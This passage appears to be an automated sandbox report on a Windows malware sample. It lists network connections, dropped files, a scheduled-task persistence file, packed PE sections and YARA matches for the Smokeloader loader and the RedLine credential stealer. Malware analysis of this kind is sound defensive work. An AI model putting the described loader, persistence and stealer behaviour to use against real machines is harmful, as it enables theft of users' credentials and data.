Source: ziNGMDa.exe, 00000014.00000002.3322894428.000001C7FD770000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.18.dr	String found in binary or memory: https://www.python.org/download/releases/2.3/mro/.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989

Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.5:49989 version: TLS 1.2

Source: ziNGMDa.exe, 00000012.00000003.2988755059.000001F69CBFA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_5f1e8099-3

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000015.00000002.3330555675.0000000004B30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.3325258344.0000000000FCC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Binary is likely a compiled AutoIt script file

Source: 20bbca6d77.exe, 00000018.00000002.3322789657.0000000000792000.00000002.00000001.01000000.0000001C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2bf3fbff-0
Source: 20bbca6d77.exe, 00000018.00000002.3322789657.0000000000792000.00000002.00000001.01000000.0000001C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3ad6136b-c
Source: random[2].exe0.17.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4713ecef-6
Source: random[2].exe0.17.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_b523eebd-c

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name:
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: eb02f9ad86.exe.17.dr	Static PE information: section name:
Source: eb02f9ad86.exe.17.dr	Static PE information: section name: .idata
Source: eb02f9ad86.exe.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name:
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: .idata
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name:
Source: random[2].exe.17.dr	Static PE information: section name:
Source: random[2].exe.17.dr	Static PE information: section name: .idata
Source: random[2].exe.17.dr	Static PE information: section name:
Source: 8b4f365c71.exe.17.dr	Static PE information: section name:
Source: 8b4f365c71.exe.17.dr	Static PE information: section name: .idata
Source: 8b4f365c71.exe.17.dr	Static PE information: section name:

Source: C:\Users\user\Documents\FHCGCAAKJD.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BAC60	0_2_6C5BAC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68AC30	0_2_6C68AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676C00	0_2_6C676C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AECC0	0_2_6C5AECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60ECD0	0_2_6C60ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED70	0_2_6C67ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DAD50	0_2_6C6DAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C738D20	0_2_6C738D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C73CDC0	0_2_6C73CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4DB0	0_2_6C5B4DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646D90	0_2_6C646D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64EE70	0_2_6C64EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690E20	0_2_6C690E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BAEC0	0_2_6C5BAEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650EC0	0_2_6C650EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636E90	0_2_6C636E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C672F70	0_2_6C672F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61EF40	0_2_6C61EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6F10	0_2_6C5B6F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0F20	0_2_6C6F0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68EFF0	0_2_6C68EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B0FE0	0_2_6C5B0FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8FB0	0_2_6C6F8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BEFB0	0_2_6C5BEFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684840	0_2_6C684840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600820	0_2_6C600820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A820	0_2_6C63A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B68E0	0_2_6C6B68E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E8960	0_2_6C5E8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606900	0_2_6C606900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC9E0	0_2_6C6CC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E49F0	0_2_6C5E49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6409A0	0_2_6C6409A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66A9A0	0_2_6C66A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6709B0	0_2_6C6709B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62CA70	0_2_6C62CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668A30	0_2_6C668A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EA00	0_2_6C65EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62EA80	0_2_6C62EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B6BE0	0_2_6C6B6BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650BA0	0_2_6C650BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C8460	0_2_6C5C8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614420	0_2_6C614420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63A430	0_2_6C63A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F64D0	0_2_6C5F64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64A4D0	0_2_6C64A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DA480	0_2_6C6DA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C612560	0_2_6C612560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650570	0_2_6C650570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C608540	0_2_6C608540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4540	0_2_6C6B4540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F8550	0_2_6C6F8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A5E0	0_2_6C67A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E5F0	0_2_6C63E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A45B0	0_2_6C5A45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C650	0_2_6C60C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E6E0	0_2_6C60E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64E6E0	0_2_6C64E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D46D0	0_2_6C5D46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630700	0_2_6C630700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DA7D0	0_2_6C5DA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FE070	0_2_6C5FE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C000	0_2_6C67C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678010	0_2_6C678010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A8090	0_2_6C5A8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C0B0	0_2_6C68C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C00B0	0_2_6C5C00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618140	0_2_6C618140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626130	0_2_6C626130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694130	0_2_6C694130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B01E0	0_2_6C5B01E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638260	0_2_6C638260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648250	0_2_6C648250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688220	0_2_6C688220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A210	0_2_6C67A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7362C0	0_2_6C7362C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6822A0	0_2_6C6822A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E2B0	0_2_6C67E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC360	0_2_6C6CC360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646370	0_2_6C646370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B8340	0_2_6C5B8340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F2370	0_2_6C6F2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B2370	0_2_6C5B2370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622320	0_2_6C622320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6043E0	0_2_6C6043E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60E3B0	0_2_6C60E3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E23A0	0_2_6C5E23A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B3C40	0_2_6C5B3C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D9C40	0_2_6C6D9C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1C30	0_2_6C5C1C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671CE0	0_2_6C671CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EDCD0	0_2_6C6EDCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64FC80	0_2_6C64FC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C613D00	0_2_6C613D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681DC0	0_2_6C681DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A3D80	0_2_6C5A3D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F9D90	0_2_6C6F9D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70BE70	0_2_6C70BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C735E60	0_2_6C735E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDE10	0_2_6C6BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D3EC0	0_2_6C5D3EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C707F20	0_2_6C707F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5F30	0_2_6C5A5F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5F20	0_2_6C5E5F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BFF0	0_2_6C65BFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CDFC0	0_2_6C6CDFC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C733FC0	0_2_6C733FC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D1F90	0_2_6C5D1F90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D810	0_2_6C60D810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70B8F0	0_2_6C70B8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68F8F0	0_2_6C68F8F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64F8C0	0_2_6C64F8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BD8E0	0_2_6C5BD8E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E38E0	0_2_6C5E38E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62F960	0_2_6C62F960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665920	0_2_6C665920
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FF900	0_2_6C6FF900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E99D0	0_2_6C5E99D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6159F0	0_2_6C6159F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6479F0	0_2_6C6479F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6499C0	0_2_6C6499C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C1980	0_2_6C5C1980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681990	0_2_6C681990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C739A50	0_2_6C739A50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFA10	0_2_6C5EFA10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6ADA30	0_2_6C6ADA30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C651A10	0_2_6C651A10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B1AE0	0_2_6C5B1AE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68DAB0	0_2_6C68DAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68FB60	0_2_6C68FB60
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00288860	14_2_00288860
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00287049	14_2_00287049
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_002878BB	14_2_002878BB
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_002831A8	14_2_002831A8
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00244B30	14_2_00244B30
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00282D10	14_2_00282D10
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00244DE0	14_2_00244DE0
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00277F36	14_2_00277F36
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_0028779B	14_2_0028779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000B7049	15_2_000B7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000B8860	15_2_000B8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000B78BB	15_2_000B78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000B31A8	15_2_000B31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00074B30	15_2_00074B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000B2D10	15_2_000B2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00074DE0	15_2_00074DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000A7F36	15_2_000A7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_000B779B	15_2_000B779B

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D3620 appears 88 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C73DAE0 appears 65 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5D9B10 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6E9F30 appears 50 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C60C5E0 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7309D0 appears 293 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C73D930 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 000880C0 appears 130 times
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: String function: 002580C0 appears 130 times

Source: random[1].exe.17.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: eb02f9ad86.exe.17.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.18.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: unicodedata.pyd.18.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: zlib1.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: SDL2.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: libwebp-7.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: libjpeg-9.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: libogg-0.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: libvorbis-0.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: libfreetype-6.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: libpng16-16.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: portmidi.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: SDL2_mixer.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: libmpg123-0.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: libvorbisfile-3.dll.18.dr	Static PE information: Number of sections : 11 > 10
Source: SDL2_ttf.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: SDL2_image.dll.18.dr	Static PE information: Number of sections : 12 > 10
Source: libFLAC-8.dll.18.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe, 00000000.00000002.2628818286.00000000011B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2658007579.000000006F8E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000015.00000002.3330555675.0000000004B30000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000015.00000002.3325258344.0000000000FCC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: file.exe	Static PE information: Section: zmdmrpym ZLIB complexity 0.9945049354416168
Source: random[1].exe0.17.dr	Static PE information: Section: ZLIB complexity 0.9976548983564014
Source: random[1].exe0.17.dr	Static PE information: Section: kotpjprz ZLIB complexity 0.9947785004150317
Source: 0eb65aaf2f.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9976548983564014
Source: 0eb65aaf2f.exe.17.dr	Static PE information: Section: kotpjprz ZLIB complexity 0.9947785004150317
Source: random[2].exe.17.dr	Static PE information: Section: zmdmrpym ZLIB complexity 0.9945049354416168
Source: 8b4f365c71.exe.17.dr	Static PE information: Section: zmdmrpym ZLIB complexity 0.9945049354416168

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@50/157@5/10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C610300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C610300

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\17EURBJH.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7936:120:WilError_03
